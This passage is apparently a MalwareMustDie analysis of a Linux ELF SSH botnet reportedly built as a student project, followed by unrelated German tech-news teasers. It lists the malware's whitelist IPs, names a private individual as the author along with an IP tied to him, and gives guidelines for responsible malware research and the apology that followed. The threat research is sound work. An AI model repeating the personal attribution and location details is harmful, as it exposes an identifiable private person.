It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!


News Bewertung

Weiterlesen Weiterlesen

Von Bits und Yottabytes und was dahintersteckt

Zur Kategorie wechselnIT Security Nachrichten vom | Quelle: rss.winfuture.de Direktlink direkt öffnen

Speicher, Gigabyte, Größe, Size Matters, Speichergröße Megabytes, Gigabytes, Terabytes: Mit diesen Begriffen wird die Größe von Daten- und Systemspeichern beschrieben. Doch wie viel Raum für Daten steckt eigentlich wirklich hinter diesen Ausdrücken? Diese Infografik bietet einen Überblick über die Vergangenheit, Gegenwart und Zukunft von digitalen Speichern. (Weiter lesen)









News Bewertung

Weiterlesen Weiterlesen

Fotos retuschieren wie ein Profi - so geht's

Zur Kategorie wechselnWindows Tipps vom | Quelle: pcwelt.de Direktlink direkt öffnen

Hier erfahren Sie, wie Sie in Photoshop mit Hilfe von Ebenen und dem Pinselwerkzeug Fotos professionell retuschieren.
News Bewertung

Weiterlesen Weiterlesen

Smartphone: Samsung Galaxy S6 Mini bei Händler gelistet

Zur Kategorie wechselnNachrichten vom | Quelle: computerbase.de Direktlink direkt öffnen

Ein arabischer Onlinehändler verrät auf seiner Seite Details zur kleineren Version von Samsungs Flaggschiff-Smartphone Galaxy S6, dem S6 Mini. Stimmen die Angaben, legt die Displaydiagonale gegenüber dem Vorgänger Galaxy S5 Mini um 0,1 Zoll auf 4,6 Zoll zu.


News Bewertung

Weiterlesen Weiterlesen

Seitennavigation

Seite 15872 von 16.645 Seiten (Bei Beitrag 555485 - 555520)
582.557x Beiträge in dieser Kategorie

Auf Seite 15871 zurück | Nächste 15873 Seite | Letzte Seite

[ 15867 ] [ 15868 ] [ 15869 ] [ 15870 ] [ 15871 ] [15872] [ 15873 ] [ 15874 ] [ 15875 ] [ 15876 ] [ 15877 ] [ 15878 ] [ 15879 ] [ 15880 ] [ 15881 ] [ 15882 ]

Folge uns auf Twitter um einen Echtzeit-Stream zu erhalten. Updates alle 5 Minuten!

Die Webseite benutzt einen Cache von 10-15 Minuten